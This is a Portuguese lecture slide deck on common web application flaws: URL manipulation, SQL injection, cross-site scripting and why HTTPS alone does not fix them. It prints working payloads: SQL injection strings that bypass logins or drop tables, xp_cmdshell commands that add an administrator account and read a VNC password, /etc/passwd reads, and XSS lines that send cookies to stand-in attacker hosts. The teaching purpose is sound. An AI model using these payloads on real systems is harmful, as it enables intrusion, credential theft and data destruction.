Falhas mais comuns em aplicações WEB

Slides:



Advertisements
Apresentações semelhantes
Ana Paula B. Barboza Ivana Xavier Rodrigues
Advertisements

Gerenciamento de Dados e Informação Estudo de caso – PL/SQL
Banco de Dados Prof. Antonio.
Banco de Dados I Aula 20.
Segurança Renata Viegas.
Tecnologia de Programação BD em.Net: Conexão com SQL Server 1º Semestre 2009 > PUCPR > BSI Bruno C. de Paula.
BD em.NET: Passo a passo conexão com SQL Server 1º Semestre 2010 > PUCPR > BSI Bruno C. de Paula.
Banco de Dados SQL Stored Procedures
SISTEMAS DE INFORMAÇÃO Sistemas de Bancos de Dados 2º Semestre – 2010 Pedro Antonio Galvão Junior Fone:
SISTEMAS DE INFORMAÇÃO Sistemas de Bancos de Dados 2º Semestre – 2010 Pedro Antonio Galvão Junior Fone:
SISTEMAS DE INFORMAÇÃO Sistemas de Bancos de Dados 2º Semestre – 2010 Pedro Antonio Galvão Junior Fone:
Sistemas de Informação Redes de Computadores
Maurício Edgar Stivanello
Introdução à Engenharia da Computação
Oficina sobre banco de dados
Material III-Bimestre Wagner Santos C. de Jesus
Edson Silva BD / ADO. NET Edson Silva
Linguagem de Banco de Dados - SQL
MySQL Gerdson de Araújo Silva Universidade Federal de Alagoas Maceió-AL, 21 de maio de 2009.
Introdução a JDBC Eduardo Martins Guerra Instituto Tecnológico de Aeronáutica Curso de Pós-Graduação em Engenharia de Software Programação Distribuída.
Alertas de Segurança e Vigilância
Banco de dados Profª Kelly Medeiros.
SQL Injection.
XIV Jornada de Cursos .NET com C# Antônio Carlos Bruno Inojosa.
Aula R Prof. Naércio Filho Técnico em Informática
PL/SQL, Procedures e Funções
Tópicos de Sistemas de Informação A Carlos Oberdan Rolim Ciência da Computação.
Laboratório de Programação I Carlos Oberdan Rolim Ciência da Computação Sistemas de Informação.
Como fazer um SQL Injection Marco Ferreira Rui Cunha
Design Patterns / Acesso ao banco de dados (java.sql)
(Linguagem de Consulta Estruturada)
Treinamento AJAX Segurança
Equipe de monitoria Aula prática 3.  Caso de estudo  Igualando situações  Cursor  Function  Procedure  Trigger  Package  Surpresa...
Curso EFA de técnico de Informática e Sistemas
Primeira aula de PL/SQL Parte II
SEGUNDA FASE / S2B MIC PERNAMBUCO SEGUNDA FASE / S2B MIC PERNAMBUCO
Oracle 9i: SQL e PL/SQL Bruno Celso Cunha de Freitas
Programação Orientada à Objetos
Explorando vulnerabilidades em REST (Representational State Transfer)
Desenvolvendo um script SQL
VIEW - VISÕES Professor Esp. Diego André Sant’Ana
JDBC Java Database Connectivity. JDBC Especificação para uso de base de dados em aplicações e applets JAVA; API para uso de drivers JDBC; Compatível com.
Banco de Dados Parte 04 Ceça. Ceça Moraes 2 Conteúdo  Os três níveis da arquitetura  Mapeamentos  Arquitetura cliente-servidor.
Linguagem de Definição de Dados
Programação Orientada à Objetos
A Linguagem PHP Instituto Vianna Júnior Desenvolvimento para Web Prof. Lúcia Helena de Magalhães 2008.
Triggers (Gatilhos) Professor Esp. Diego André Sant’Ana
Projeto de Banco de Dados Prof.Ms.Rodrigo Luiz Comitante Leão.
SQLite Banco de Dados II.
Bruno Inojosa MCP.NET Framework.NET com C#. SQL Básico.
Banco de Dados I I Comandos SQL
José Francisco PHP & MySQL. Os slides originais são parte do material de cursos anteriores do curso de PHP, ministrados por Sérgio Clemente.
CASE WHEN THEN ELSE END Professor Esp. Diego André Sant’Ana Disciplina: Banco de Dados II professordiegosantana.wordpress.com.
7P/SI – 2010/01 Prof. Carlos Alberto Seixas. Agenda Visão Geral sobre os Conceitos e Implementação sobre SGBs MySQL Revisão das Práticas Práticas 1 e.
JDBC Java Database Connectivity docs/guide/jdbc/getstart/introTOC.doc.html.
Acesso a Bases de Dados ADO.NET. Namespace System.Data Modos de aceder à informação OLE DB – namespace System.Data.OleDb SQL - namespace System.Data.SqlClient.
Conceitos básicos Professor Esp. Diego André Sant’Ana
Tema 2: Técnicas de desenvolvimento seguro
Prof. Renato de Oliveira Bastos
VBA – Visual Basic para Aplicativos
Programação para Web I AULA 2 BANCO DE DADOS.
Banco de Dados -Aprendendo conceitos -Usando o SQL Conf para:
Aula 13 - Triggers. Triggers no SGBD Postgres  Os Triggers (Gatilhos) são funções preparadas para serem disparadas no caso de alguma alteração ocorrer.
1 Programação de Banco de Dados José Antônio da Cunha George Azevedo da Silva.
Linguagem de Programação de Banco de Dados Procedimentos Armazenados.
2/6/2016 José Antônio da Cunha - CEFET - RN1 Programação de Banco de Dados Funções.
Programação para Internet Aula 11 SQL (Introdução a linguagem, comandos de modificação: Create, Drop, Alter, Insert, Delete, Update)
Atividade ASP.NET Portal da Memoria Atividade Desenvolver uma aplicação ASP.NET com funcionalidade similar à existente no site centenário.ifrn.edu.br utilizando.
PHP + MYSQL. Mysql O MySQL é servidor de banco de dados multiusuário, multitarefa que trabalha com uma das linguagens de manipulação de dados mais popularizadas.
BANCO DE DADOS Araújo Lima Outubro / 2017 Araújo.
Transcrição da apresentação:

Falhas mais comuns em aplicações WEB

Agenda Introdução Explicando cada ataque através de exemplos URL Manipulation SQL Injection XSS Cross Site Scripting Como resolve-los O que HTTPS nos oferece Porque HTTPS não resolve nossos problemas? Próximos passos do projeto ….

Introdução Os ataques a serviços de rede estão se tornando muito sofisticados A criatividade humana não para Mas o que faltava? APLICAÇÕES!!! Mas será que é possível? Atualmente a maioria dos BUG’s reportados estão em aplicações Application Security != Network Security Não se esqueçam: Quem provê acesso aos dados? As aplicações !!!

Introdução – Lendas Urbanas Não ha problemas Até que a aplicação seja comprometida Erros de runtime não são problemas (tratamento de erros) Exponham informações relevantes Consumam todo recurso do servidor Web Services não são vulneráveis Quase nunca testados e raramente segurança é considerada Solução Testes de penetração. São caros !!!

Introdução - Números Gartner NIST 75% dos ataques acontecem no nível das aplicações Em caso de falha no sistema provavelmente os desenvolvedores são três vezes mais culpados do que os administradores de sistemas NIST 92% das vulnerabilidadces estão no nível das aplicações

Introdução Nosso foco será demonstrar estes BUG’s de forma prática Para nos proteger temos que entender das táticas e armas no nosso inimigo Temos que ter nossas armas para nos defender !!!

Testes e segurança por onde vai ….

Contexto Não há segurança de sistemas sem a conjuncão de tres fatores Boas praticas de codificação Metodologia adequada (arquitetura e etc) Testes ..... E ai vem .....

O que é segurança Segurança em um “end line” Mas o que é isso? Não se discute segurança sem entender de Arquitetura de Computadores, Sistemas Operacionais, Redes de computadores (protocolos de comunicação, Linguagem de programação, engenharia de software e Logica.

O que é segurança Entao o que eu preciso saber para se poder testar .... Opção 1: seguir os procedimentos definidos alguem que sabe disso tudo Opção 2: Saber disso tudo

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Então para o que querem ....

Segurança de Redes Recursos Sites www.securityfocus.com www.cert.com www.rootkit.com

Segurança de Redes Periódicos Linux Journal Sys Admin Magazine Information Security SC Info Security Magazine Security Magazine (Nacional)

Testes

OSSTMM

Agora faça seu checklist O que fazer? O que testar? Como fazer? São as resposta que queremos. Vamos começar por ..... AQUI

Em Aplicações WEB

URL Manipulation O comando GET requisita informações importantes na URL Os parâmetros podem ser manipulados para se obter resultados satisfatórios O impacto é ALTO Variações podem ser feitas para se tentar obter resultados interessantes http://www.paladiontest.com/example?accountnumber=12345&debitamount=1

URL Manipulation

URL Manipulation

SQL Injection A idéia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB Todos os parâmetros passados são direcionados para o banco de dados O atacante pode manipular com as tabelas e dados diretamente

Causas - SQL Injection public void OnLogon(object src, EventArgs e){ SqlConnection con = new SqlConnection( "server=(local);database=myDB;uid=sa;pwd;" ); string query = String.Format( "SELECT COUNT(*) FROM Users WHERE " + "username='{0}' AND password='{1}'", txtUser.Text, txtPassword.Text ); SqlCommand cmd = new SqlCommand(query, con); conn.Open(); SqlDataReader reader = cmd.ExecuteReader(); try{ if(reader.HasRows()) IssueAuthenticationTicket(); else TryAgain(); } finally{ con.Close()

SQL Injection – Problemas Esperado: username: abc password: teste123 Quando submetido a query será montada como: select * from users where username='abc' and password = 'test123' Não esperado: username: abc'; -- password: A query enviada para o banco de dados será: select * from users where uname='abc’; --' and password=''

SQL Injection – Problemas Esperado: Username: doug Password: p@$$w0rd SELECT COUNT(*) FROM Users WHERE username='doug' and password='p@$$w0rd' Não esperado: Username: ' OR 1=1 -- Password: SELECT COUNT(*) FROM Users WHERE username='' OR 1=1 -- and password=''

SQL Injection Esperado Não esperado Site vulnerável Login com Sucesso Usuário Malicioso http://target.site/login.jsp Esperado Não esperado

SQL Injection – Mais exemplos Identificando campos de uma tabela SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --'; Verificando se a tabela existe SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

SQL Injection – Mais exemplos Procurando por usuários SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Maria%'; Ataques de força bruta SELECT email, passwd, login_id, full_name FROM members WHERE email = ‘ususario@provedor.com' AND passwd = ‘senha123';

SQL Injection – Mais exemplos Verificando as permissões no Database SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --'; Criando um usuário SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERT INTO members ('email','passwd','login_id', 'full_name') VALUES (‘usuario@provedor.com',‘senha', ‘user',‘User da Internet');--';

SQL Injection – Mais exemplos Alterando o mail de comunicação SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE members SET email = ‘usuario@provedor.com' WHERE email = ‘usuario@hackprovedor.com';

Caracteres utilizados ' ou " Utilizado para indicar tipo char -- ou # Comentário /*…*/ Comentário de várias linhas + Adição, concatenação || Concatenação % Wildcard ?Param1=foo&Param2=bar Parâmetros da URL PRINT Muito utilizado quando não temos transações @variable Variável Local @@variable Variável Global waitfor delay '0:0:10' Delay

SQL Injection http://172.27.70.25/tikiwiki-1.8/tiki-directory_search.php?how=or&words=&where=all&sort_mode=delete%20*%20from%20users_uses

Determinando a versão do SGBD Na maioria do tempo as mensagens de erro nos ajudam a identificar qual o SGBD utilizado As mensagens de erro ODBC mostram SGBD utilizado Se não tivermos as mensagens ODBC Tentamos analisar qual a tecnologia utilizada na aplicação e no servidor WEB Tentamos utilizar caracteres, comandos ou stored procedures que geram erros específicos

Determinando a versão do SGBD MS SQL T-SQL MySQL Access Oracle PL/SQL DB2 Postgres PL/pgSQL Concatenate Strings ' '+' ' concat (" ", " ") " "&" " ' '||' ' " "+" " Null replace Isnull() Ifnull() Iff(Isnull()) COALESCE() Position CHARINDEX LOCATE() InStr() TEXTPOS() Op Sys interaction xp_cmdshell select into outfile / dumpfile #date# utf_file import from export to Call Cast Yes No

Interagindo com o sistema Operacional Existem duas maneiras de se interagir com o sistema operacional Lendo arquivos Obtendo arquivos de senhas Trocando senhas dos usuários Executando comandos que troquem parâmetros do sistema Execução direta de comandos Não ha limites !!! Qualquer ação depende do privilégio que o usuários utilizado pelo SGBD possui

MySQL e a interação O.S. MySQL LOAD_FILE LOAD DATA INFILE ' union select 1,load_file('/etc/passwd'),1,1,1; LOAD DATA INFILE create table temp( line blob ); load data infile '/etc/passwd' into table temp; select * from temp; SELECT INTO OUTFILE

MS SQL e a interação O.S. MS SQL Server '; exec master..xp_cmdshell 'ipconfig > test.txt' -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- ' and 1 in (select substring(x,1,256) from temp) -- '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

Arquitetura mais comum Sempre tenha em mente O SQL normalmente é executado em um outro servidor O servidor de BD normalmente não tem acesso a Internet e é protegido Web Server Paginas WEB Application Server Validação Da Entrada Database Server Execução Do SQL

Comando de rede relevantes Usando a SP xp_cmdshell podemos executar: Ipconfig /all Tracert myIP arp -a nbtstat -c netstat -ano route print

Manipulando com as informações da rede '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- ' and 1 in (select substring(x,1,255) from temp) -- '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

Manipulando com o S.O. Linux MySQL MS SQL Criando usuários ' union select 1, (load_file('/etc/passwd')),1,1,1; MS SQL Criando usuários '; exec xp_cmdshell 'net user /add victor Pass123'-- '; exec xp_cmdshell 'net localgroup /add administrators victor' -- Iniciando serviços '; exec master..xp_servicecontrol 'start','FTP Publishing' --

Obtendo a senha do VNC '; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out output select cast(@out as bigint) as x into TEMP-- ' and 1 in (select cast(x as varchar) from temp) --

XSS Cross Site Scripting

WEB Session Hijaking Não a ligação entre o ID do login e o ID da sessão A sessão do usuário pode ser roubada Impacto é ALTO A idéia e obter de alguma forma o HASH da sessão

Cross Site Scripting banco.com sitehaker.com Webpage + Cookies Reflected Code <SCRIPT>Envia o Cookie para attacker.com</SCRIPT> Link malicioso em uma pagina web ou e-mail malicioso Executed User http://banco.com/login/ Malicious Link http://bank.com/account.jsp? <SCRIPT>Envia cookie para sitehaker.com Cookie Cookie

Cross Site Scripting (XSS) Esta vulnerabilidade tira vantagens de sites que não fazem o tratamento dos dados de entrada. O POST contém um script que pode ser executado via browser <script>window.navigate("http://somesite.net/steal.asp?cookie="+document.cookie)</script>

XSS – Como o atacante depura Pode colocar uma mensagem no post <script>alert(“this is vulnerable”)</script> A aplicação retorna a sua submissão –

XSS – Exemplos Pode se receber um e-mail com o um link O resultado é enviado para um site http://www.mymail.com?search=“<script>window. navigate("http://badsite.net/steal.asp?cookie="+document.cookie)</script>” http://www.steve.org.uk/Hacks/XSS/simple.html

XSS – Exemplos do passado http://www.fotolog.net/about.html?user=%3Cscript%3Ealert(%22rfdslabs%22)%3C/script%3E http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script> http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Solução Sempre valide a sessão com login e os parâmetros críticos

Sistemas distribuídos Sistemas distribuídos podem ser vistos de maneira geral como diferentes elementos de software (aplicações) executando remotamente (ou em locais remotos) e se comunicando para fornecer/consumir serviços. Conjunto de máquinas autônomas Interconectadas por canais de comunicação Comunicando-se por troca de mensagens Independência de falhas (falhas parciais) Ausência de relógio global Ausência de estado global Estado compartilhado da aplicação (através de comunicação)

Sistemas distribuídos Além de considerar todos os problemas anteriores Eles se potencializam num cenário distribuído Precisamos usar Comunicação Segura Autenticação Integridade dos dados trafegados Serviços de rede passam a ser problemas : DNS Principalmente.

Comunicação segura O que podemos usar VPN: IPSec, PPTP, .... Custoso Por ser necessário uma configuração especial, a aplicação depende não somente dela mas da rede prover Mas lembre-se A REDE É INSEGURA !!!!!

E a aplicação ? Autenticação Integridade dos dados trafegados Que tal uma PKI ? Temos Autenticação Temos Integridade e confidenciaidade se encriptarmos os dados

O que HTTPS nos oferece HTTPS resolve os problemas de segurança apontados anteriormente? Mas então para que usar HTTPS? Muitas vezes dizemos que o uso de HTTPS nos temos o servidor seguro

O que HTTPS nos oferece HTTPS é a versão “segura” do protocolo HTTP que implementa a autenticação e encriptação da comunicação. Previne os ataques do tipo men-in-the-middle e que dados interceptados sejam “lidos” A autenticação é uma característica muito explorada atualmente ICP-BR

O que HTTPS nos oferece Negocia qual sistema de codificação será usado durante a transferência Estabelece e troca as chaves de sessão entre o cliente e o servidor Opcionalmente autentica o servidor para o cliente Opcionalmente autentica o cliente para o servidor

Autenticação usando certificados e chaves públicas/privadas Web server Fase do desafio (Mensagem Randômica) Fase do desafio (Mensagem Randômica) Protocolos de encriptação Protocolos de Encriptação OK Identificação da Conexão Randômica (server) Identificão da Conexão Randômica (server) End user OK! Se o cliente não tiver a chave pública da CA (recebemos uma mensagem informando O certificado não é valido) | Cancel | Always Trust | Trust this time | CA chave pública Chave e certificado público do servidor

Autenticação usando certificados e chaves públicas/privadas Web server Fase do desafio (Mensagem Randômica (Encriptado) Identificão da Conexão Randômica (server) End user Par de chaves simétricas Sessão master CA chave pública Chave e certificado público do servidor

Autenticação usando certificados e chaves públicas/privadas Web server Fase do desafio (Mensagem Randômica Fase do desafio (Mensagem Randômica Sessão master A autenticação do cliente pode começar agora Idenfificão da Conecção Randomica (server) Fase do desafio (Mensagem Randômica Par de chaves simétricas Leitura Escrita Identificão da Conexão Randômica (server) dentificão da Conexão Randômica (server) End user CA chave pública Leitura Escrita Par de chaves simétricas Chave e certificado público do servidor

Porque HTTPS não resolve nossos problemas? Porque nossos problemas não estão apenas nos protocolos ou na comunicação. Temos problemas nas aplicações e estas hierarquicamente estão acima dos protocolos de comunicação.

Autorização Associar direitos, capacidade e “habilidades” associadas a um assunto A autorização geralmente vem após uma autenticação Ex.: Uma vez que se sabe quem é o usuário foi “autenticado” o serviço decidirá o que o usuário pode fazer no contexto que ele esta “autorizado”

Autorização RBAC Autorização baseada em perfil Autorização baseada em contexto http://maca.sourceforge.net

Auditoria Loggin analises Correlação de eventos Data warehouse Mineração de dados Correlação de eventos

Próximos passos Componente focado em resolver os problemas apresentados Não intrusivo Flexível Performance Fácil de usar Autenticação Componente para autenticar Login/Senha Certificado Digital Biometria

Referências http://www.owasp.org/ http://www.isecom.org/osstmm/ Open-Source Security Testing Methodology Manual Web Application Disassembly with ODBC Error Messages JavaOne 2005 Strategies for Securing Java™ Technology Code Web Services Security Attacks in Action 9 Ways to Hack a Web App Advanced SQL Injection In SQL Server applications Advanced Cross Site Scripting CROSS-SITE TRACING (XST) SQL Injection Signatures Evasion

F I M